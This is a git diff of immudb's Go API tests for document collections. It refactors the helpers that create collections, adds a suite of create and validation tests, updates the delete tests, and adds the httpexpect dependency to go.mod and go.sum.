- WithJSON(payload). - Expect(). - Status(http.StatusOK).JSON().Object().NotEmpty() - - collection := expect.GET("/collections/get"). - WithHeader("grpc-metadata-sessionid", token). - WithQuery("name", payload["name"]). - Expect(). - Status(http.StatusOK). - JSON().Object() +func CreateCollectionWithName(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { + payload := map[string]interface{}{ + "name": name, + } - return collection + return createCollection(expect, sessionID, payload) } -func CreateCollectionWithNameAndOneIndexKey(expect *httpexpect.Expect, token string, name string) *httpexpect.Object { - payloadModel := `{ - "name": "string", - "indexKeys": { - "customers": { - "type": "DOUBLE" - } - } - }` - var payload map[string]interface{} - json.Unmarshal([]byte(payloadModel), &payload) - payload["name"] = name - payload["indexKeys"] = map[string]interface{}{ - "birth_date": map[string]interface{}{ - "type": "STRING", +func CreateCollectionWithNameAndOneField(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { + payload := map[string]interface{}{ + "name": name, + "fields": []interface{}{ + map[string]interface{}{ + "name": "first_name", + "type": "STRING", + }, }, } - expect.PUT("/collections/create"). - WithHeader("grpc-metadata-sessionid", token). - WithJSON(payload). - Expect(). - Status(http.StatusOK).JSON().Object().NotEmpty() + return createCollection(expect, sessionID, payload) +} - collection := expect.GET("/collections/get"). - WithHeader("grpc-metadata-sessionid", token). - WithQuery("name", payload["name"]). - Expect(). - Status(http.StatusOK). - JSON().Object() +func CreateCollectionWithNameAndIdFieldName(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { + payload := map[string]interface{}{ + "name": name, + "idFieldName": "emp_no", + } - return collection + return createCollection(expect, sessionID, payload) } -func CreateCollectionWithNameAndMultipleIndexKeys(expect *httpexpect.Expect, token string, name string) *httpexpect.Object { - payloadModel := `{ - "name": "string", - "indexKeys": { - "employees": { - "type": "INTEGER" - } - } - }` - var payload map[string]interface{} - json.Unmarshal([]byte(payloadModel), &payload) - payload["name"] = name - payload["indexKeys"] = map[string]interface{}{ - "birth_date": map[string]interface{}{ - "type": "STRING", +func CreateCollectionWithNameIdFieldNameAndOneField(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { + payload := map[string]interface{}{ + "name": name, + "idFieldName": "emp_no", + "fields": []interface{}{ + map[string]interface{}{ + "name": "hire_date", + "type": "STRING", + }, }, - "first_name": map[string]interface{}{ - "type": "STRING", - }, - "last_name": map[string]interface{}{ - "type": "STRING", - }, - "gender": map[string]interface{}{ - "type": "STRING", + } + + return createCollection(expect, sessionID, payload) +} + +func CreateCollectionWithNameOneFieldAndOneUniqueIndex(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { + payload := map[string]interface{}{ + "name": name, + "fields": []interface{}{ + map[string]interface{}{ + "name": "id_number", + "type": "INTEGER", + }, }, - "hire_date": map[string]interface{}{ - "type": "STRING", + "indexes": []interface{}{ + map[string]interface{}{ + "fields": []string{ + "id_number", + }, + "isUnique": true, + }, }, } - expect.PUT("/collections/create"). - WithHeader("grpc-metadata-sessionid", token). - WithJSON(payload). - Expect(). - Status(http.StatusOK).JSON().Object().NotEmpty() + return createCollection(expect, sessionID, payload) +} - collection := expect.GET("/collections/get"). - WithHeader("grpc-metadata-sessionid", token). - WithQuery("name", payload["name"]). - Expect(). - Status(http.StatusOK). - JSON().Object() +func CreateCollectionWithNameAndMultipleFields(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { + payload := map[string]interface{}{ + "name": name, + "fields": []interface{}{ + map[string]interface{}{ + "name": "birth_date", + "type": "STRING", + }, + map[string]interface{}{ + "name": "first_name", + "type": "STRING", + }, + map[string]interface{}{ + "name": "last_name", + "type": "STRING", + }, + map[string]interface{}{ + "name": "gender", + "type": "STRING", + }, + map[string]interface{}{ + "name": "hire_date", + "type": "STRING", + }, + }, + } - return collection + return createCollection(expect, sessionID, payload) } -func CreateCollectionWithIntegerName(expect *httpexpect.Expect, token string, name string) *httpexpect.Object { - payloadModel := `{ - "name": 123 - }` - var payload map[string]interface{} - json.Unmarshal([]byte(payloadModel), &payload) - payload["name"] = name +func CreateCollectionWithNameMultipleFieldsAndMultipleIndexes(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { + payload := map[string]interface{}{ + "name": name, + "fields": []interface{}{ + map[string]interface{}{ + "name": "birth_date", + "type": "STRING", + }, + map[string]interface{}{ + "name": "first_name", + "type": "STRING", + }, + map[string]interface{}{ + "name": "last_name", + "type": "STRING", + }, + map[string]interface{}{ + "name": "gender", + "type": "STRING", + }, + map[string]interface{}{ + "name": "hire_date", + "type": "STRING", + }, + }, + "indexes": []interface{}{ + map[string]interface{}{ + "fields": []string{ + "birth_date", "last_name", + }, + "isUnique": true, + }, + }, + } + + return createCollection(expect, sessionID, payload) +} +func createCollection(expect *httpexpect.Expect, sessionID string, payload map[string]interface{}) *httpexpect.Object { expect.PUT("/collections/create"). - WithHeader("grpc-metadata-sessionid", token). + WithHeader("grpc-metadata-sessionid", sessionID). WithJSON(payload). Expect(). - Status(http.StatusOK).JSON().Object().NotEmpty() + Status(http.StatusOK).JSON().Object().Empty() collection := expect.GET("/collections/get"). - WithHeader("grpc-metadata-sessionid", token). + WithHeader("grpc-metadata-sessionid", sessionID). WithQuery("name", payload["name"]). Expect(). Status(http.StatusOK). diff --git a/test/document_storage_tests/documents_tests/actions/login.go b/test/document_storage_tests/documents_tests/actions/session.go similarity index 95% rename from test/document_storage_tests/documents_tests/actions/login.go rename to test/document_storage_tests/documents_tests/actions/session.go index 5fb8de75b1..45f8a97062 100644 --- a/test/document_storage_tests/documents_tests/actions/login.go +++ b/test/document_storage_tests/documents_tests/actions/session.go @@ -43,5 +43,5 @@ func OpenSession(t *testing.T) (*httpexpect.Expect, string) { Expect(). Status(http.StatusOK).JSON().Object() - return expect, obj.Value("token").Raw().(string) + return expect, obj.Value("sessionID").Raw().(string) } diff --git a/test/document_storage_tests/documents_tests/create_collections_test.go b/test/document_storage_tests/documents_tests/create_collections_test.go new file mode 100644 index 0000000000..fe12b1fa5b --- /dev/null +++ b/test/document_storage_tests/documents_tests/create_collections_test.go @@ -0,0 +1,289 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package main + +import ( + "net/http" + "testing" + + "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions" + "github.com/gavv/httpexpect/v2" + "github.com/google/uuid" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/suite" +) + +type CreateCollectionsTestSuite struct { + suite.Suite + expect *httpexpect.Expect + sessionID string + collection_name string +} + +func (s *CreateCollectionsTestSuite) SetupTest() { + s.expect, s.sessionID = actions.OpenSession(s.T()) + s.collection_name = uuid.New().String() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithName() { + collection := actions.CreateCollectionWithName(s.expect, s.sessionID, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) + collection.Value("collection").Object().Value("idFieldName").IsEqual("_id") + collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(1) + collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") + collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(1) + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("_id") + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneField() { + collection := actions.CreateCollectionWithNameAndOneField(s.expect, s.sessionID, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) + collection.Value("collection").Object().Value("idFieldName").IsEqual("_id") + collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(2) + collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") + collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("first_name") + collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(1) + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("_id") + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndIdFieldName() { + collection := actions.CreateCollectionWithNameAndIdFieldName(s.expect, s.sessionID, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) + collection.Value("collection").Object().Value("idFieldName").IsEqual("emp_no") + collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(1) + collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("emp_no") + collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(1) + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("emp_no") + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameIdFieldNameAndOneField() { + collection := actions.CreateCollectionWithNameIdFieldNameAndOneField(s.expect, s.sessionID, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) + collection.Value("collection").Object().Value("idFieldName").IsEqual("emp_no") + collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(2) + collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("emp_no") + collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("hire_date") + collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(1) + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("emp_no") + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameOneFieldAndOneUniqueIndex() { + collection := actions.CreateCollectionWithNameOneFieldAndOneUniqueIndex(s.expect, s.sessionID, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) + collection.Value("collection").Object().Value("idFieldName").IsEqual("_id") + collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(2) + collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") + collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("id_number") + collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(2) + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("_id") + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() + collection.Value("collection").Object().Value("indexes").Array().Value(1).Object().Value("fields").Array().Value(0).IsEqual("id_number") + collection.Value("collection").Object().Value("indexes").Array().Value(1).Object().Value("isUnique").Boolean().IsTrue() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndMultipleFields() { + collection := actions.CreateCollectionWithNameAndMultipleFields(s.expect, s.sessionID, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) + collection.Value("collection").Object().Value("idFieldName").IsEqual("_id") + collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(6) + collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") + collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("birth_date") + collection.Value("collection").Object().Value("fields").Array().Value(2).Object().Value("name").IsEqual("first_name") + collection.Value("collection").Object().Value("fields").Array().Value(3).Object().Value("name").IsEqual("last_name") + collection.Value("collection").Object().Value("fields").Array().Value(4).Object().Value("name").IsEqual("gender") + collection.Value("collection").Object().Value("fields").Array().Value(5).Object().Value("name").IsEqual("hire_date") + collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(1) + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("_id") + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameMultipleFieldsAndMultipleIndexes() { + collection := actions.CreateCollectionWithNameMultipleFieldsAndMultipleIndexes(s.expect, s.sessionID, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Keys().ContainsOnly("name", "idFieldName", "fields", "indexes") + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) + collection.Value("collection").Object().Value("idFieldName").IsEqual("_id") + collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(6) + collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") + collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("birth_date") + collection.Value("collection").Object().Value("fields").Array().Value(2).Object().Value("name").IsEqual("first_name") + collection.Value("collection").Object().Value("fields").Array().Value(3).Object().Value("name").IsEqual("last_name") + collection.Value("collection").Object().Value("fields").Array().Value(4).Object().Value("name").IsEqual("gender") + collection.Value("collection").Object().Value("fields").Array().Value(5).Object().Value("name").IsEqual("hire_date") + collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(2) + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("_id") + collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() + collection.Value("collection").Object().Value("indexes").Array().Value(1).Object().Value("fields").Array().Value(0).IsEqual("birth_date") + collection.Value("collection").Object().Value("indexes").Array().Value(1).Object().Value("fields").Array().Value(1).IsEqual("last_name") + collection.Value("collection").Object().Value("indexes").Array().Value(1).Object().Value("isUnique").Boolean().IsTrue() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithEmptyBody() { + payload := map[string]interface{}{} + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.sessionID). + WithJSON(payload). + Expect(). + Status(http.StatusBadRequest).JSON().Object().NotEmpty() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithoutNameButWithFields() { + payload := map[string]interface{}{ + "fields": []interface{}{ + map[string]interface{}{ + "name": "birth_date", + "type": "STRING", + }, + map[string]interface{}{ + "name": "first_name", + "type": "STRING", + }, + map[string]interface{}{ + "name": "last_name", + "type": "STRING", + }, + map[string]interface{}{ + "name": "gender", + "type": "STRING", + }, + map[string]interface{}{ + "name": "hire_date", + "type": "STRING", + }, + }, + } + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.sessionID). + WithJSON(payload). + Expect(). + Status(http.StatusBadRequest).JSON().Object().NotEmpty() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithIntegerName() { + payload := map[string]interface{}{ + "name": 123, + } + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.sessionID). + WithJSON(payload). + Expect(). + Status(http.StatusBadRequest).JSON().Object().NotEmpty(). + Value("error").IsEqual("json: cannot unmarshal number into Go value of type string") +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneInvalidField() { + payload := map[string]interface{}{ + "name": uuid.New().String(), + "fields": "birth_date", + } + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.sessionID). + WithJSON(payload). + Expect(). + Status(http.StatusBadRequest).JSON().Object().NotEmpty() + + s.expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", s.sessionID). + WithQuery("name", payload["name"]). + Expect(). + Status(http.StatusInternalServerError). + JSON().Object().NotEmpty() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneEmptyField() { + payload := map[string]interface{}{ + "name": uuid.New().String(), + "fields": "", + } + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.sessionID). + WithJSON(payload). + Expect(). + Status(http.StatusBadRequest).JSON().Object().NotEmpty() + + s.expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", s.sessionID). + WithQuery("name", payload["name"]). + Expect(). + Status(http.StatusInternalServerError). + JSON().Object().NotEmpty() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithExistingName() { + payload := map[string]interface{}{ + "name": uuid.New().String(), + } + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.sessionID). + WithJSON(payload). + Expect(). + Status(http.StatusOK).JSON().Object().Empty() + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.sessionID). + WithJSON(payload). + Expect(). + Status(http.StatusInternalServerError).JSON().Object().NotEmpty() + + listPayload := map[string]interface{}{} + + collections := s.expect.POST("/collections/list"). + WithHeader("grpc-metadata-sessionid", s.sessionID). + WithJSON(listPayload). + Expect(). + Status(http.StatusOK). + JSON().Object() + + collectionsFound := collections.Value("collections").Array().FindAll(func(index int, value *httpexpect.Value) bool { + return value.Object().Value("name").Raw() == payload["name"] + }) + + assert.Equal(s.T(), len(collectionsFound), 1) +} + +func TestCreateCollectionsSuite(t *testing.T) { + suite.Run(t, new(CreateCollectionsTestSuite)) +} diff --git a/test/document_storage_tests/documents_tests/delete_collections_test.go b/test/document_storage_tests/documents_tests/delete_collections_test.go index 3deba9c479..fcca6c6075 100644 --- a/test/document_storage_tests/documents_tests/delete_collections_test.go +++ b/test/document_storage_tests/documents_tests/delete_collections_test.go @@ -17,11 +17,10 @@ limitations under the License. package main import ( - "fmt" "net/http" "testing" - "github.com/codenotary/immudb/test/documents_storage_tests/documents_tests/actions" + "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions" "github.com/gavv/httpexpect/v2" "github.com/google/uuid" "github.com/stretchr/testify/suite" @@ -40,9 +39,7 @@ func (s *DeleteCollectionsTestSuite) SetupTest() { } func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithName() { - collection := actions.CreateCollectionWithName(s.expect, s.token, s.collection_name) - collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) + actions.CreateCollectionWithName(s.expect, s.token, s.collection_name) s.expect.DELETE("/collections/delete"). WithHeader("grpc-metadata-sessionid", s.token). @@ -58,14 +55,8 @@ func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithName() { Status(http.StatusInternalServerError) } -func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndOneIndexKey() { - collection := actions.CreateCollectionWithNameAndOneIndexKey(s.expect, s.token, s.collection_name) - - collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) - collection.Value("collection").Object().Value("indexKeys").Object().Keys().ContainsOnly("_id", "birth_date") - collection.Value("collection").Object().Value("indexKeys").Object().Value("_id").Object().Value("type").IsEqual("STRING") - collection.Value("collection").Object().Value("indexKeys").Object().Value("birth_date").Object().Value("type").IsEqual("STRING") +func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndOneField() { + actions.CreateCollectionWithNameAndOneField(s.expect, s.token, s.collection_name) s.expect.DELETE("/collections/delete"). WithHeader("grpc-metadata-sessionid", s.token). @@ -81,18 +72,8 @@ func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndOneIn Status(http.StatusInternalServerError) } -func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndMultipleIndexKeys() { - collection := actions.CreateCollectionWithNameAndMultipleIndexKeys(s.expect, s.token, s.collection_name) - - collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) - collection.Value("collection").Object().Value("indexKeys").Object().Keys().ContainsOnly("_id", "birth_date", "first_name", "last_name", "gender", "hire_date") - collection.Value("collection").Object().Value("indexKeys").Object().Value("_id").Object().Value("type").IsEqual("STRING") - collection.Value("collection").Object().Value("indexKeys").Object().Value("birth_date").Object().Value("type").IsEqual("STRING") - collection.Value("collection").Object().Value("indexKeys").Object().Value("first_name").Object().Value("type").IsEqual("STRING") - collection.Value("collection").Object().Value("indexKeys").Object().Value("last_name").Object().Value("type").IsEqual("STRING") - collection.Value("collection").Object().Value("indexKeys").Object().Value("gender").Object().Value("type").IsEqual("STRING") - collection.Value("collection").Object().Value("indexKeys").Object().Value("hire_date").Object().Value("type").IsEqual("STRING") +func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndMultipleFields() { + actions.CreateCollectionWithNameAndMultipleFields(s.expect, s.token, s.collection_name) s.expect.DELETE("/collections/delete"). WithHeader("grpc-metadata-sessionid", s.token). @@ -109,21 +90,9 @@ func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndMulti } func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithIntegerName() { - collection := actions.CreateCollectionWithIntegerName(s.expect, s.token, s.collection_name) - - collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) - s.expect.DELETE("/collections/delete"). WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", s.collection_name). - Expect(). - Status(http.StatusOK). - JSON().Object().Empty() - - s.expect.GET("/collections/get"). - WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", s.collection_name). + WithQuery("name", 123). Expect(). Status(http.StatusInternalServerError) } @@ -138,8 +107,8 @@ func (s *DeleteCollectionsTestSuite) TestDeleteNonExistingCollection() { error.Keys().ContainsAll("code", "error", "message") error.Value("code").IsEqual(2) - error.Value("error").IsEqual(fmt.Sprintf("table does not exist (%s)", s.collection_name)) - error.Value("message").IsEqual(fmt.Sprintf("table does not exist (%s)", s.collection_name)) + error.Value("error").IsEqual("collection does not exist") + error.Value("message").IsEqual("collection does not exist") } func TestDeleteCollectionsTestSuite(t *testing.T) { diff --git a/test/document_storage_tests/documents_tests/go.mod b/test/document_storage_tests/documents_tests/go.mod index 57b50d20be..a155739e5b 100644 --- a/test/document_storage_tests/documents_tests/go.mod +++ b/test/document_storage_tests/documents_tests/go.mod @@ -1,4 +1,4 @@ -module github.com/codenotary/immudb-client-examples/go/immudb-document-rest +module github.com/codenotary/immudb/test/document_storage_tests/documents_tests go 1.19 @@ -7,9 +7,38 @@ require ( github.com/stretchr/testify v1.8.2 ) +require ( + github.com/ajg/form v1.5.1 // indirect + github.com/andybalholm/brotli v1.0.4 // indirect + github.com/fatih/color v1.13.0 // indirect + github.com/fatih/structs v1.1.0 // indirect + github.com/gobwas/glob v0.2.3 // indirect + github.com/google/go-querystring v1.1.0 // indirect + github.com/gorilla/websocket v1.4.2 // indirect + github.com/imkira/go-interpol v1.1.0 // indirect + github.com/klauspost/compress v1.15.0 // indirect + github.com/mattn/go-colorable v0.1.13 // indirect + github.com/mattn/go-isatty v0.0.17 // indirect + github.com/mitchellh/go-wordwrap v1.0.1 // indirect + github.com/sanity-io/litter v1.5.5 // indirect + github.com/sergi/go-diff v1.0.0 // indirect + github.com/valyala/bytebufferpool v1.0.0 // indirect + github.com/valyala/fasthttp v1.34.0 // indirect + github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb // indirect + github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 // indirect + github.com/xeipuuv/gojsonschema v1.2.0 // indirect + github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0 // indirect + github.com/yudai/gojsondiff v1.0.0 // indirect + github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82 // indirect + golang.org/x/net v0.7.0 // indirect + golang.org/x/sys v0.5.0 // indirect + moul.io/http2curl/v2 v2.3.0 // indirect +) + require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/deepmap/oapi-codegen v1.8.2 // indirect + github.com/gavv/httpexpect/v2 v2.15.0 github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect diff --git a/test/document_storage_tests/documents_tests/go.sum b/test/document_storage_tests/documents_tests/go.sum index 80069acda0..d1c1633f0f 100644 --- a/test/document_storage_tests/documents_tests/go.sum +++ b/test/document_storage_tests/documents_tests/go.sum @@ -1,19 +1,41 @@ +github.com/ajg/form v1.5.1 h1:t9c7v8JUKu/XxOGBU0yjNpaMloxGEJhUkqFRq0ibGeU= +github.com/ajg/form v1.5.1/go.mod h1:uL1WgH+h2mgNtvBq0339dVnzXdBETtL2LeUXaIv25UY= +github.com/andybalholm/brotli v1.0.4 h1:V7DdXeJtZscaqfNuAdSRuRFzuiKlHSC/Zh3zl9qY3JY= +github.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4= +github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/deepmap/oapi-codegen v1.8.2 h1:SegyeYGcdi0jLLrpbCMoJxnUUn8GBXHsvr4rbzjuhfU= github.com/deepmap/oapi-codegen v1.8.2/go.mod h1:YLgSKSDv/bZQB7N4ws6luhozi3cEdRktEqrX88CvjIw= github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= +github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= +github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo= +github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M= +github.com/gavv/httpexpect/v2 v2.15.0 h1:CCnFk9of4l4ijUhnMxyoEpJsIIBKcuWIFLMwwGTZxNs= +github.com/gavv/httpexpect/v2 v2.15.0/go.mod h1:7myOP3A3VyS4+qnA4cm8DAad8zMN+7zxDB80W9f8yIc= github.com/getkin/kin-openapi v0.61.0/go.mod h1:7Yn5whZr5kJi6t+kShccXS8ae1APpYTW6yheSwk8Yi4= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/go-chi/chi/v5 v5.0.0/go.mod h1:BBug9lr0cqtdAhsu6R4AAdvufI0/XBzAQSsUqJpoZOs= github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= +github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y= +github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= github.com/golangci/lint-1 v0.0.0-20181222135242-d2cdd8c08219/go.mod h1:/X8TswGSh1pIozq4ZwCfxS0WA5JGXguxk94ar/4c87Y= +github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= +github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= +github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= +github.com/gorilla/websocket v1.4.2/go.mod 